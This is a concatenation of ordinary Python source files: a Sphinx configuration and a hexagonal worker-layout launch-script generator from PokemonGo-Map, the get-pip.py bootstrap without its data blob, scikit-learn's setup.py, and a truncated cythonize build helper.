# |version| and |release|, also used in various other places throughout the
# built documents.
#
# The short X.Y version.
version = u'3.1'
# The full version, including alpha/beta/rc tags.
release = u'3.1.0'

# The language for content autogenerated by Sphinx. Refer to documentation
# for a list of supported languages.
#
# This is also used if you do content translation via gettext catalogs.
# Usually you set "language" from the command line for these cases.
language = None

# There are two options for replacing |today|: either, you set today to some
# non-false value, then it is used:
#
# today = ''
#
# Else, today_fmt is used as the format for a strftime call.
#
# today_fmt = '%B %d, %Y'

# List of patterns, relative to source directory, that match files and
# directories to ignore when looking for source files.
# This patterns also effect to html_static_path and html_extra_path
exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store']

# The reST default role (used for this markup: `text`) to use for all
# documents.
#
# default_role = None

# If true, '()' will be appended to :func: etc. cross-reference text.
#
# add_function_parentheses = True

# If true, the current module name will be prepended to all description
# unit titles (such as .. function::).
#
# add_module_names = True

# If true, sectionauthor and moduleauthor directives will be shown in the
# output. They are ignored by default.
#
# show_authors = False

# The name of the Pygments (syntax highlighting) style to use.
pygments_style = 'sphinx'

# A list of ignored prefixes for module index sorting.
# modindex_common_prefix = []

# If true, keep warnings as "system message" paragraphs in the built documents.
# keep_warnings = False

# If true, `todo` and `todoList` produce output, else they produce nothing.
todo_include_todos = False


# -- Options for HTML output ----------------------------------------------

# The theme to use for HTML and HTML Help pages.  See the documentation for
# a list of builtin themes.
#
html_theme = 'sphinx_rtd_theme'

# Theme options are theme-specific and customize the look and feel of a theme
# further.  For a list of options available for each theme, see the
# documentation.
#
# html_theme_options = {}

# Add any paths that contain custom themes here, relative to this directory.
# html_theme_path = []

# The name for this set of Sphinx documents.
# "<project> v<release> documentation" by default.
#
# html_title = u'PokemonGo-Map v3.1.0'

# A shorter title for the navigation bar.  Default is the same as html_title.
#
# html_short_title = None

# The name of an image file (relative to this directory) to place at the top
# of the sidebar.
#
# html_logo = None

# The name of an image file (relative to this directory) to use as a favicon of
# the docs.  This file should be a Windows icon file (.ico) being 16x16 or 32x32
# pixels large.
#
# html_favicon = None

# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
html_static_path = ['_static']

# Add any extra paths that contain custom files (such as robots.txt or
# .htaccess) here, relative to this directory. These files are copied
# directly to the root of the documentation.
#
# html_extra_path = []

# If not None, a 'Last updated on:' timestamp is inserted at every page
# bottom, using the given strftime format.
# The empty string is equivalent to '%b %d, %Y'.
#
# html_last_updated_fmt = None

# If true, SmartyPants will be used to convert quotes and dashes to
# typographically correct entities.
#
# html_use_smartypants = True

# Custom sidebar templates, maps document names to template names.
#
# html_sidebars = {}

# Additional templates that should be rendered to pages, maps page names to
# template names.
#
# html_additional_pages = {}

# If false, no module index is generated.
#
# html_domain_indices = True

# If false, no index is generated.
#
# html_use_index = True

# If true, the index is split into individual pages for each letter.
#
# html_split_index = False

# If true, links to the reST sources are added to the pages.
#
# html_show_sourcelink = True

# If true, "Created using Sphinx" is shown in the HTML footer. Default is True.
#
# html_show_sphinx = True

# If true, "(C) Copyright ..." is shown in the HTML footer. Default is True.
#
# html_show_copyright = True

# If true, an OpenSearch description file will be output, and all pages will
# contain a <link> tag referring to it.  The value of this option must be the
# base URL from which the finished HTML is served.
#
# html_use_opensearch = ''

# This is the file name suffix for HTML files (e.g. ".xhtml").
# html_file_suffix = None

# Language to be used for generating the HTML full-text search index.
# Sphinx supports the following languages:
#   'da', 'de', 'en', 'es', 'fi', 'fr', 'hu', 'it', 'ja'
#   'nl', 'no', 'pt', 'ro', 'ru', 'sv', 'tr', 'zh'
#
# html_search_language = 'en'

# A dictionary with options for the search language support, empty by default.
# 'ja' uses this config value.
# 'zh' user can custom change `jieba` dictionary path.
#
# html_search_options = {'type': 'default'}

# The name of a javascript file (relative to the configuration directory) that
# implements a search results scorer. If empty, the default will be used.
#
# html_search_scorer = 'scorer.js'

# Output file base name for HTML help builder.
htmlhelp_basename = 'PokemonGo-Mapdoc'

# -- Options for LaTeX output ---------------------------------------------

latex_elements = {
     # The paper size ('letterpaper' or 'a4paper').
     #
     # 'papersize': 'letterpaper',

     # The font size ('10pt', '11pt' or '12pt').
     #
     # 'pointsize': '10pt',

     # Additional stuff for the LaTeX preamble.
     #
     # 'preamble': '',

     # Latex figure (float) alignment
     #
     # 'figure_align': 'htbp',
}

# Grouping the document tree into LaTeX files. List of tuples
# (source start file, target name, title,
#  author, documentclass [howto, manual, or own class]).
latex_documents = [
    (master_doc, 'PokemonGo-Map.tex', u'PokemonGo-Map Documentation',
     u'Pokemon Masters', 'manual'),
]

# The name of an image file (relative to this directory) to place at the top of
# the title page.
#
# latex_logo = None

# For "manual" documents, if this is true, then toplevel headings are parts,
# not chapters.
#
# latex_use_parts = False

# If true, show page references after internal links.
#
# latex_show_pagerefs = False

# If true, show URL addresses after external links.
#
# latex_show_urls = False

# Documents to append as an appendix to all manuals.
#
# latex_appendices = []

# It false, will not define \strong, \code, 	itleref, \crossref ... but only
# \sphinxstrong, ..., \sphinxtitleref, ... To help avoid clash with user added
# packages.
#
# latex_keep_old_macro_names = True

# If false, no module index is generated.
#
# latex_domain_indices = True


# -- Options for manual page output ---------------------------------------

# One entry per manual page. List of tuples
# (source start file, name, description, authors, manual section).
man_pages = [
    (master_doc, 'pokemongo-map', u'PokemonGo-Map Documentation',
     [author], 1)
]

# If true, show URL addresses after external links.
#
# man_show_urls = False


# -- Options for Texinfo output -------------------------------------------

# Grouping the document tree into Texinfo files. List of tuples
# (source start file, target name, title, author,
#  dir menu entry, description, category)
texinfo_documents = [
    (master_doc, 'PokemonGo-Map', u'PokemonGo-Map Documentation',
     author, 'PokemonGo-Map', 'One line description of project.',
     'Miscellaneous'),
]

# Documents to append as an appendix to all manuals.
#
# texinfo_appendices = []

# If false, no module index is generated.
#
# texinfo_domain_indices = True

# How to display URL addresses: 'footnote', 'no', or 'inline'.
#
# texinfo_show_urls = 'footnote'

# If true, do not generate a @detailmenu in the "Top" node's menu.
#
# texinfo_no_detailmenu = False






#!/usr/bin/env python
#
# Hi There!
# You may be wondering what this giant blob of binary data here is, you might
# even be worried that we're up to something nefarious (good for you for being
# paranoid!). This is a base85 encoding of a zip file, this zip file contains
# an entire copy of pip.
#
# Pip is a thing that installs packages, pip itself is a package that someone
# might want to install, especially if they're looking to run this get-pip.py
# script. Pip has a lot of code to deal with the security of installing
# packages, various edge cases on various platforms, and other such sort of
# "tribal knowledge" that has been encoded in its code base. Because of this
# we basically include an entire copy of pip inside this blob. We do this
# because the alternatives are attempt to implement a "minipip" that probably
# doesn't do things correctly and has weird edge cases, or compress pip itself
# down into a single file.
#
# If you're wondering how this is created, it is using an invoke task located
# in tasks/generate.py called "installer". It can be invoked by using
# ``invoke generate.installer``.

import os.path
import pkgutil
import shutil
import sys
import struct
import tempfile

# Useful for very coarse version differentiation.
PY2 = sys.version_info[0] == 2
PY3 = sys.version_info[0] == 3

if PY3:
    iterbytes = iter
else:
    def iterbytes(buf):
        return (ord(byte) for byte in buf)

try:
    from base64 import b85decode
except ImportError:
    _b85alphabet = (b"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
                    b"abcdefghijklmnopqrstuvwxyz!#$%&()*+-;<=>?@^_`{|}~")

    def b85decode(b):
        _b85dec = [None] * 256
        for i, c in enumerate(iterbytes(_b85alphabet)):
            _b85dec[c] = i

        padding = (-len(b)) % 5
        b = b + b'~' * padding
        out = []
        packI = struct.Struct('!I').pack
        for i in range(0, len(b), 5):
            chunk = b[i:i + 5]
            acc = 0
            try:
                for c in iterbytes(chunk):
                    acc = acc * 85 + _b85dec[c]
            except TypeError:
                for j, c in enumerate(iterbytes(chunk)):
                    if _b85dec[c] is None:
                        raise ValueError(
                            'bad base85 character at position %d' % (i + j)
                        )
                raise
            try:
                out.append(packI(acc))
            except struct.error:
                raise ValueError('base85 overflow in hunk starting at byte %d'
                                 % i)

        result = b''.join(out)
        if padding:
            result = result[:-padding]
        return result


def bootstrap(tmpdir=None):
    # Import pip so we can use it to install pip and maybe setuptools too
    import pip
    from pip.commands.install import InstallCommand
    from pip.req import InstallRequirement

    # Wrapper to provide default certificate with the lowest priority
    class CertInstallCommand(InstallCommand):
        def parse_args(self, args):
            # If cert isn't specified in config or environment, we provide our
            # own certificate through defaults.
            # This allows user to specify custom cert anywhere one likes:
            # config, environment variable or argv.
            if not self.parser.get_default_values().cert:
                self.parser.defaults["cert"] = cert_path  # calculated below
            return super(CertInstallCommand, self).parse_args(args)

    pip.commands_dict["install"] = CertInstallCommand

    implicit_pip = True
    implicit_setuptools = True
    implicit_wheel = True

    # Check if the user has requested us not to install setuptools
    if "--no-setuptools" in sys.argv or os.environ.get("PIP_NO_SETUPTOOLS"):
        args = [x for x in sys.argv[1:] if x != "--no-setuptools"]
        implicit_setuptools = False
    else:
        args = sys.argv[1:]

    # Check if the user has requested us not to install wheel
    if "--no-wheel" in args or os.environ.get("PIP_NO_WHEEL"):
        args = [x for x in args if x != "--no-wheel"]
        implicit_wheel = False

    # We only want to implicitly install setuptools and wheel if they don't
    # already exist on the target platform.
    if implicit_setuptools:
        try:
            import setuptools  # noqa
            implicit_setuptools = False
        except ImportError:
            pass
    if implicit_wheel:
        try:
            import wheel  # noqa
            implicit_wheel = False
        except ImportError:
            pass

    # We want to support people passing things like 'pip<8' to get-pip.py which
    # will let them install a specific version. However because of the dreaded
    # DoubleRequirement error if any of the args look like they might be a
    # specific for one of our packages, then we'll turn off the implicit
    # install of them.
    for arg in args:
        try:
            req = InstallRequirement.from_line(arg)
        except:
            continue

        if implicit_pip and req.name == "pip":
            implicit_pip = False
        elif implicit_setuptools and req.name == "setuptools":
            implicit_setuptools = False
        elif implicit_wheel and req.name == "wheel":
            implicit_wheel = False

    # Add any implicit installations to the end of our args
    if implicit_pip:
        args += ["pip"]
    if implicit_setuptools:
        args += ["setuptools"]
    if implicit_wheel:
        args += ["wheel"]

    delete_tmpdir = False
    try:
        # Create a temporary directory to act as a working directory if we were
        # not given one.
        if tmpdir is None:
            tmpdir = tempfile.mkdtemp()
            delete_tmpdir = True

        # We need to extract the SSL certificates from requests so that they
        # can be passed to --cert
        cert_path = os.path.join(tmpdir, "cacert.pem")
        with open(cert_path, "wb") as cert:
            cert.write(pkgutil.get_data("pip._vendor.requests", "cacert.pem"))

        # Execute the included pip and use it to install the latest pip and
        # setuptools from PyPI
        sys.exit(pip.main(["install", "--upgrade"] + args))
    finally:
        # Remove our temporary directory
        if delete_tmpdir and tmpdir:
            shutil.rmtree(tmpdir, ignore_errors=True)


def main():
    tmpdir = None
    try:
        # Create a temporary working directory
        tmpdir = tempfile.mkdtemp()

        # Unpack the zipfile into the temporary directory
        pip_zip = os.path.join(tmpdir, "pip.zip")
        with open(pip_zip, "wb") as fp:
            fp.write(b85decode(DATA.replace(b"\n", b"")))

        # Add the zipfile to sys.path so that we can import it
        sys.path.insert(0, pip_zip)

        # Run the bootstrap
        bootstrap(tmpdir=tmpdir)
    finally:
        # Clean up our temporary working directory
        if tmpdir:
            shutil.rmtree(tmpdir, ignore_errors=True)



if __name__ == "__main__":
    main()






import math
import argparse
import LatLon
import itertools
import os

parser = argparse.ArgumentParser()
parser.add_argument("-lat", "--lat", help="latitude", type=float, required=True)
parser.add_argument("-lon", "--lon", help="longitude", type=float, required=True)
parser.add_argument("-st", "--steps", help="steps", default=5, type=int)
parser.add_argument("-lp", "--leaps", help="like 'steps' but for workers instead of scans", default=3, type=int)
parser.add_argument("-o", "--output", default="../../beehive.sh", help="output file for the script")
parser.add_argument("-t", "--thread", default=1, help="Number of accounts and threads per worker")
parser.add_argument("-or", "--output_raw", default="../../beehive.txt", help="output file for the raw coords txt")
parser.add_argument("--accounts", help="List of your accounts, in csv [username],[password] format", default=None)
parser.add_argument("--auth", help="Auth method (ptc or google)", default="ptc")
parser.add_argument("-v", "--verbose", help="Print lat/lng to stdout for debugging", action='store_true', default=False)
parser.add_argument("--windows", help="Generate a bat file for Windows", action='store_true', default=False)
parser.add_argument("--installdir", help="Installation directory (only used for Windows)", type=str, default="C:\\PokemonGo-Map")

preamble = "#!/usr/bin/env bash"
server_template = "nohup python runserver.py -os -l '{lat}, {lon}' &\n" #this is the output template for linux
worker_template = "sleep 0.5; nohup python runserver.py -ns -l '{lat}, {lon}' -st {steps} {auth}&\n" # so is this
auth_template = "-a {} -u {} -p '{}' "  # unix people want single-quoted passwords - for threading reasons whitespace after ' before ""

R = 6378137.0
r_hex = 52.5  # probably not correct

args = parser.parse_args()
steps = args.steps
rings = args.leaps

if args.windows:
    # ferkin Windows
    preamble = "taskkill /IM python.exe /F"
    pythonpath = "C:\\Python27\\Python.exe"
    branchpath = args.installdir
    executable = args.installdir + "\\runserver.py"
    auth_template = '-a {} -u {} -p "{}" '  # windows people want double-quoted passwords -fook windows again!
    actual_worker_params = '{auth}-ns -l "{lat}, {lon}" -st {steps}'
    worker_template = 'Start "{{threadname}}" /d {branchpath} /MIN {pythonpath} {executable} {actual_params}\nping 127.0.0.1 -n 6 > nul\n\n'.format( #these are the templates for windows stuff
        branchpath=branchpath, pythonpath=pythonpath, executable=executable, actual_params = actual_worker_params
    )
    actual_server_params = '-os -l "{lat}, {lon}"'
    server_template = 'Start "Server" /d {branchpath} /MIN {pythonpath} {executable} {actual_params}\nping 127.0.0.1 -n 6 > nul\n\n'.format(
        branchpath=branchpath, pythonpath=pythonpath, executable=executable, actual_params = actual_server_params # ends here
    )
    if args.output == "../../beehive.sh":
        args.output = "../../beehive.bat"

if args.accounts:
    print("Reading usernames/passwords from {}".format(args.accounts))
    account_fh = open(args.accounts)
    account_fields = [line.split(",") for line in account_fh]
    accounts = [auth_template.format(args.auth, line[0].strip(), line[1].strip()) for line in account_fields]
else:
    accounts = [""]

print("Generating beehive script to {}".format(args.output))
output_fh = file(args.output, "wb")
os.chmod(args.output, 0o755)
output_fh.write(preamble + "\n")
output_fh.write(server_template.format(lat=args.lat, lon=args.lon))

print("Generating raw coordinates to {}".format(args.output_raw))
coords_fh = file(args.output_raw, 'wb')

w_worker = (2 * steps - 1) * r_hex #convert the step limit of the worker into the r radius of the hexagon in meters?
d = 2.0 * w_worker / 1000.0 #convert that into a diameter and convert to gps scale
d_s = d

brng_s = 0.0
brng = 0.0
mod = math.degrees(math.atan(1.732 / (6 * (steps - 1) + 3)))

total_workers = (((rings * (rings - 1)) *3) + 1) # this mathamtically calculates the total number of workers

locations = [LatLon.LatLon(LatLon.Latitude(0), LatLon.Longitude(0))] * total_workers #this initialises the list
locations[0] = LatLon.LatLon(LatLon.Latitude(args.lat), LatLon.Longitude(args.lon)) #set the latlon for worker 0 from cli args


turns = 0               # number of turns made in this ring (0 to 6)
turn_steps = 0          # number of cells required to complete one turn of the ring
turn_steps_so_far = 0   # current cell number in this side of the current ring


for i in range(1, total_workers):
    if turns == 6 or turn_steps == 0:
        # we have completed a ring (or are starting the very first ring)
        turns = 0
        turn_steps += 1
        turn_steps_so_far = 0

    if turn_steps_so_far == 0:
        brng = brng_s
        loc = locations[0]
        d = turn_steps * d
    else:
        loc = locations[0]
        C = math.radians(60.0)#inside angle of a regular hexagon
        a = d_s / R * 2.0 * math.pi #in radians get the arclength of the unit circle covered by d_s
        b = turn_steps_so_far * d_s / turn_steps / R * 2.0 * math.pi #percentage of a
         #the first spherical law of cosines gives us the length of side c from known angle C
        c = math.acos(math.cos(a) * math.cos(b) + math.sin(a) * math.sin(b) * math.cos(C))
         #turnsteps here represents ring number because yay coincidence always the same. multiply by derived arclength and convert to meters
        d = turn_steps * c * R / 2.0 / math.pi
        #from the first spherical law of cosines we get the angle A from the side lengths a b c
        A = math.acos((math.cos(b) - math.cos(a) * math.cos(c)) / (math.sin(c) * math.sin(a))) 
        brng = 60 * turns + math.degrees(A)

    loc = loc.offset(brng + mod, d)
    locations[i] = loc
    d = d_s

    turn_steps_so_far += 1
    if turn_steps_so_far >= turn_steps:
        # make a turn
        brng_s += 60.0
        brng = brng_s
        turns += 1
        turn_steps_so_far = 0

#if threading is desired (-t flag) cycle through all accounts and merge them into an array (do this anyway because otherwise we need an if statement below)

#make a list of exactly the right number of accounts
accountsNeeded = [(j) for i,j in itertools.izip(range(0,int(args.thread)*total_workers),itertools.cycle(accounts))]
#group those accounts, concatenate the details into a single string per worker
accountStack=[""]*total_workers
for i in range(0,total_workers):    
    for j in range(0,int(args.thread)):
        accountStack[i] = accountStack[i] + accountsNeeded[i*int(args.thread)+j]

# if accounts list was provided, match each location with an account
# reusing accounts if required

location_and_auth = [(i, j) for i, j in itertools.izip(locations, accountStack)]

for i, (location, auth) in enumerate(location_and_auth):
    threadname = "Movable{}".format(i)
    output_fh.write(worker_template.format(lat=location.lat, lon=location.lon, steps=args.steps, auth=auth, threadname=threadname))
    coords_fh.write(str(location.lat) + ", " + str(location.lon) + "\n")
    if args.verbose:
        print("{}, {}".format(location.lat, location.lon))






#! /usr/bin/env python
#
# Copyright (C) 2007-2009 Cournapeau David <cournape@gmail.com>
#               2010 Fabian Pedregosa <fabian.pedregosa@inria.fr>
# License: 3-clause BSD
import subprocess

descr = """A set of python modules for machine learning and data mining"""

import sys
import os
import shutil
from distutils.command.clean import clean as Clean
from pkg_resources import parse_version

if sys.version_info[0] < 3:
    import __builtin__ as builtins
else:
    import builtins

# This is a bit (!) hackish: we are setting a global variable so that the main
# sklearn __init__ can detect if it is being loaded by the setup routine, to
# avoid attempting to load components that aren't built yet:
# the numpy distutils extensions that are used by scikit-learn to recursively
# build the compiled extensions in sub-packages is based on the Python import
# machinery.
builtins.__SKLEARN_SETUP__ = True

DISTNAME = 'scikit-learn'
DESCRIPTION = 'A set of python modules for machine learning and data mining'
with open('README.rst') as f:
    LONG_DESCRIPTION = f.read()
MAINTAINER = 'Andreas Mueller'
MAINTAINER_EMAIL = 'amueller@ais.uni-bonn.de'
URL = 'http://scikit-learn.org'
LICENSE = 'new BSD'
DOWNLOAD_URL = 'http://sourceforge.net/projects/scikit-learn/files/'

# We can actually import a restricted version of sklearn that
# does not need the compiled code
import sklearn

VERSION = sklearn.__version__

# Optional setuptools features
# We need to import setuptools early, if we want setuptools features,
# as it monkey-patches the 'setup' function
# For some commands, use setuptools
SETUPTOOLS_COMMANDS = set([
    'develop', 'release', 'bdist_egg', 'bdist_rpm',
    'bdist_wininst', 'install_egg_info', 'build_sphinx',
    'egg_info', 'easy_install', 'upload', 'bdist_wheel',
    '--single-version-externally-managed',
])
if SETUPTOOLS_COMMANDS.intersection(sys.argv):
    import setuptools

    extra_setuptools_args = dict(
        zip_safe=False,  # the package can run out of an .egg file
        include_package_data=True,
    )
else:
    extra_setuptools_args = dict()


# Custom clean command to remove build artifacts

class CleanCommand(Clean):
    description = "Remove build artifacts from the source tree"

    def run(self):
        Clean.run(self)
        # Remove c files if we are not within a sdist package
        cwd = os.path.abspath(os.path.dirname(__file__))
        remove_c_files = not os.path.exists(os.path.join(cwd, 'PKG-INFO'))
        if remove_c_files:
            cython_hash_file = os.path.join(cwd, 'cythonize.dat')
            if os.path.exists(cython_hash_file):
                os.unlink(cython_hash_file)
            print('Will remove generated .c files')
        if os.path.exists('build'):
            shutil.rmtree('build')
        for dirpath, dirnames, filenames in os.walk('sklearn'):
            for filename in filenames:
                if any(filename.endswith(suffix) for suffix in
                       (".so", ".pyd", ".dll", ".pyc")):
                    os.unlink(os.path.join(dirpath, filename))
                    continue
                extension = os.path.splitext(filename)[1]
                if remove_c_files and extension in ['.c', '.cpp']:
                    pyx_file = str.replace(filename, extension, '.pyx')
                    if os.path.exists(os.path.join(dirpath, pyx_file)):
                        os.unlink(os.path.join(dirpath, filename))
            for dirname in dirnames:
                if dirname == '__pycache__':
                    shutil.rmtree(os.path.join(dirpath, dirname))


cmdclass = {'clean': CleanCommand}

# Optional wheelhouse-uploader features
# To automate release of binary packages for scikit-learn we need a tool
# to download the packages generated by travis and appveyor workers (with
# version number matching the current release) and upload them all at once
# to PyPI at release time.
# The URL of the artifact repositories are configured in the setup.cfg file.

WHEELHOUSE_UPLOADER_COMMANDS = set(['fetch_artifacts', 'upload_all'])
if WHEELHOUSE_UPLOADER_COMMANDS.intersection(sys.argv):
    import wheelhouse_uploader.cmd

    cmdclass.update(vars(wheelhouse_uploader.cmd))


def configuration(parent_package='', top_path=None):
    if os.path.exists('MANIFEST'):
        os.remove('MANIFEST')

    from numpy.distutils.misc_util import Configuration
    config = Configuration(None, parent_package, top_path)

    # Avoid non-useful msg:
    # "Ignoring attempt to set 'name' (from ... "
    config.set_options(ignore_setup_xxx_py=True,
                       assume_default_configuration=True,
                       delegate_options_to_subpackages=True,
                       quiet=True)

    config.add_subpackage('sklearn')

    return config


scipy_min_version = '0.9'
numpy_min_version = '1.6.1'


def get_scipy_status():
    """
    Returns a dictionary containing a boolean specifying whether SciPy
    is up-to-date, along with the version string (empty string if
    not installed).
    """
    scipy_status = {}
    try:
        import scipy
        scipy_version = scipy.__version__
        scipy_status['up_to_date'] = parse_version(
            scipy_version) >= parse_version(scipy_min_version)
        scipy_status['version'] = scipy_version
    except ImportError:
        scipy_status['up_to_date'] = False
        scipy_status['version'] = ""
    return scipy_status


def get_numpy_status():
    """
    Returns a dictionary containing a boolean specifying whether NumPy
    is up-to-date, along with the version string (empty string if
    not installed).
    """
    numpy_status = {}
    try:
        import numpy
        numpy_version = numpy.__version__
        numpy_status['up_to_date'] = parse_version(
            numpy_version) >= parse_version(numpy_min_version)
        numpy_status['version'] = numpy_version
    except ImportError:
        numpy_status['up_to_date'] = False
        numpy_status['version'] = ""
    return numpy_status


def generate_cython():
    cwd = os.path.abspath(os.path.dirname(__file__))
    print("Cythonizing sources")
    p = subprocess.call([sys.executable, os.path.join(cwd,
                                                      'build_tools',
                                                      'cythonize.py'),
                         'sklearn'],
                        cwd=cwd)
    if p != 0:
        raise RuntimeError("Running cythonize failed!")


def setup_package():
    metadata = dict(name=DISTNAME,
                    maintainer=MAINTAINER,
                    maintainer_email=MAINTAINER_EMAIL,
                    description=DESCRIPTION,
                    license=LICENSE,
                    url=URL,
                    version=VERSION,
                    download_url=DOWNLOAD_URL,
                    long_description=LONG_DESCRIPTION,
                    classifiers=['Intended Audience :: Science/Research',
                                 'Intended Audience :: Developers',
                                 'License :: OSI Approved',
                                 'Programming Language :: C',
                                 'Programming Language :: Python',
                                 'Topic :: Software Development',
                                 'Topic :: Scientific/Engineering',
                                 'Operating System :: Microsoft :: Windows',
                                 'Operating System :: POSIX',
                                 'Operating System :: Unix',
                                 'Operating System :: MacOS',
                                 'Programming Language :: Python :: 2',
                                 'Programming Language :: Python :: 2.6',
                                 'Programming Language :: Python :: 2.7',
                                 'Programming Language :: Python :: 3',
                                 'Programming Language :: Python :: 3.4',
                                 'Programming Language :: Python :: 3.5',
                                 ],
                    cmdclass=cmdclass,
                    **extra_setuptools_args)

    if len(sys.argv) == 1 or (
            len(sys.argv) >= 2 and ('--help' in sys.argv[1:] or
                                    sys.argv[1] in ('--help-commands',
                                                    'egg_info',
                                                    '--version',
                                                    'clean'))):
        # For these actions, NumPy is not required, nor Cythonization
        #
        # They are required to succeed without Numpy for example when
        # pip is used to install Scikit-learn when Numpy is not yet present in
        # the system.
        try:
            from setuptools import setup
        except ImportError:
            from distutils.core import setup

        metadata['version'] = VERSION
    else:
        numpy_status = get_numpy_status()
        numpy_req_str = "scikit-learn requires NumPy >= {0}.\n".format(
            numpy_min_version)
        scipy_status = get_scipy_status()
        scipy_req_str = "scikit-learn requires SciPy >= {0}.\n".format(
            scipy_min_version)

        instructions = ("Installation instructions are available on the "
                        "scikit-learn website: "
                        "http://scikit-learn.org/stable/install.html\n")

        if numpy_status['up_to_date'] is False:
            if numpy_status['version']:
                raise ImportError("Your installation of Numerical Python "
                                  "(NumPy) {0} is out-of-date.\n{1}{2}"
                                  .format(numpy_status['version'],
                                          numpy_req_str, instructions))
            else:
                raise ImportError("Numerical Python (NumPy) is not "
                                  "installed.\n{0}{1}"
                                  .format(numpy_req_str, instructions))
        if scipy_status['up_to_date'] is False:
            if scipy_status['version']:
                raise ImportError("Your installation of Scientific Python "
                                  "(SciPy) {0} is out-of-date.\n{1}{2}"
                                  .format(scipy_status['version'],
                                          scipy_req_str, instructions))
            else:
                raise ImportError("Scientific Python (SciPy) is not "
                                  "installed.\n{0}{1}"
                                  .format(scipy_req_str, instructions))

        from numpy.distutils.core import setup

        metadata['configuration'] = configuration

        if len(sys.argv) >= 2 and sys.argv[1] not in 'config':
            # Cythonize if needed

            print('Generating cython files')
            cwd = os.path.abspath(os.path.dirname(__file__))
            if not os.path.exists(os.path.join(cwd, 'PKG-INFO')):
                # Generate Cython sources, unless building from source release
                generate_cython()

            # Clean left-over .so file
            for dirpath, dirnames, filenames in os.walk(
                    os.path.join(cwd, 'sklearn')):
                for filename in filenames:
                    extension = os.path.splitext(filename)[1]
                    if extension in (".so", ".pyd", ".dll"):
                        pyx_file = str.replace(filename, extension, '.pyx')
                        print(pyx_file)
                        if not os.path.exists(os.path.join(dirpath, pyx_file)):
                            os.unlink(os.path.join(dirpath, filename))

    setup(**metadata)


if __name__ == "__main__":
    setup_package()






#!/usr/bin/env python
""" cythonize

Cythonize pyx files into C files as needed.

Usage: cythonize [root_dir]

Default [root_dir] is 'sklearn'.

Checks pyx files to see if they have been changed relative to their
corresponding C files.  If they have, then runs cython on these files to
recreate the C files.

The script detects changes in the pyx/pxd files using checksums
[or hashes] stored in a database file

Simple script to invoke Cython on all .pyx
files; while waiting for a proper build system. Uses file hashes to
figure out if rebuild is needed.

It is called by ./setup.py sdist so that sdist package can be installed without
cython

Originally written by Dag Sverre Seljebotn, and adapted from statsmodel 0.6.1
(Modified BSD 3-clause)

We copied it for scikit-learn.

Note: this script does not check any of the dependent C libraries; it only
operates on the Cython .pyx files or their corresponding Cython header (.pxd)
files.
"""
# Author: Arthur Mensch <arthur.mensch@inria.fr>
# Author: Raghav R V <rvraghav93@gmail.com>
#
# License: BSD 3 clause

from __future__ import division, print_function, absolute_import

import os
import re
import sys
import hashlib
import subprocess

HASH_FILE = 'cythonize.dat'
DEFAULT_ROOT = 'sklearn'

# WindowsError is not defined on unix systems
try:
    WindowsError
except NameError:
    WindowsError = None


def cythonize(cython_file, gen_file):
    try:
        from Cython.Compiler.Version import version as cython_version
        from distutils.version import LooseVersion
        if LooseVersion(cython_version) < LooseVersion('0.21'):
            raise Exception('Building scikit-learn requires Cython >= 0.21')

    except ImportError:
        pass

    flags = ['--fast-fail']
    if gen_file.endswith('.cpp'):
        flags += ['--cplus']

    try:
        try:
            rc = subprocess.call(['cython'] +
                                 flags + ["-o", gen_file, cython_file])
            if rc != 0:
                raise Exception('Cythonizing %s failed' % cython_file)
        except OSError:
            # There are ways of installing Cython that don't result in a cython
            # executable on the path, see scipy issue gh-2397.
            rc = subprocess.call([sys.executable, '-c',
                                  'import sys; from Cython.Compiler.Main '
                                  'import setuptools_main as main;'
                                  ' sys.exit(main())'] + flags +
                                 ["-o", gen_file, cython_file])
            if rc != 0:
                raise Exception('Cythonizing %s failed' % cython_file)
    except OSError:
        raise OSError('Cython needs to be installed')


def load_hashes(filename):
    """Load the hashes dict from the hashfile"""
    # { filename : (sha1 of header if available or 'NA',
    #               sha1 of input,
    #               sha1 of output) }

    hashes = {}
    try:
        with open(filename, 'r') as cython_hash_file:
            for hash_record in cython_hash_file:
                (filename, header_hash,
                 cython_hash, gen_file_hash) = hash_record.split()
                hashes[filename] = (header_hash, cython_hash, gen_file_hash)
    except (KeyError, ValueError, AttributeError, IOError):
        hashes = {}
    return hashes


def save_hashes(hashes, filename):
    """Save the hashes dict to the hashfile"""
    with open(filename, 'w') as cython_hash_file:
        for key, value in hashes.items():
            cython_hash_file.write("%s %s %s %s\n"
                                   % (key, value[0], value[1], value[2]))


def sha1_of_file(filename):
    h = hashlib.sha1()
    with open(filename, "rb") as f:
        h.update(f.read())
    return h.hexdigest()


def clean_path(path):
    """Clean the path"""
    path = path.replace(os.sep, '/')
    if path.startswith('./'):
        path = path[2:]
    return path


def get_hash_tuple(header_path, cython_path, gen_file_path):
    """Get the hashes from the given files"""

    header_hash = (sha1_of_file(header_path)
                   if os.path.exists(header_path) else 'NA')
    from_hash = sha1_of_file(cython_path)
    to_hash = (sha1_of_file(gen_file_path)
               if os.path.exists(gen_file_path) else 'NA')

    return header_hash, from_hash, to_hash


def cythonize_if_unchanged(path, cython_file, gen_file, hashes):
    full_cython_path = os.path.join(path, cython_file)
    full_header_path = full_cython_path.replace('.pyx', '.pxd')
    full_gen_file_path = os.path.join(path, gen_file)

    current_hash = get_hash_tuple(full_header_path, full_cython_path,
                                  full_gen_file_path)

    if current_hash == hashes.get(clean_path(full_cython_path)):
        print('%s has not changed' % full_cython_path)
        return

    print('Processing %s' % full_cython_path)
    cythonize(full_cython_path, full_gen_file_path)

    # changed target file, recompute hash
    current_hash = get_hash_tuple(full_header_path, full_cython_path,
                                  full_gen_file_path)

    # Update the hashes dict with the new hash
    hashes[clean_path(full_cython_path)] = current_hash


def check_and_cythonize(root_dir):
    print(root_dir)
    hashes = load_hashes(HASH_FILE)

    for cur_dir, dirs, files in os.walk(root_dir):
        for filename in files:
            if filename.endswith('.pyx'):
                gen_file_ext = '.c'
                # Cython files with libcpp imports should be compiled to cpp
                with open(os.path.join(cur_dir, filename), 'rb') as f:
                    data = f.read()
                    m = re.search(b"libcpp", data, re.I | re.M)
                    if m:
                        gen_file_ext = ".cpp"
                cython_file = filename
                gen_file = filename.replace('.pyx', gen_file_ext)
                cythonize_if_unchanged(cur_dir, cython_file, gen_file, hashes)

                # Save hashes once per module. This prevents cythonizing prev.
                # files again when debugging broken code in a single file
                save_hashes(hashes, HASH_FILE)


def main(root_dir=DEFAULT_ROOT):
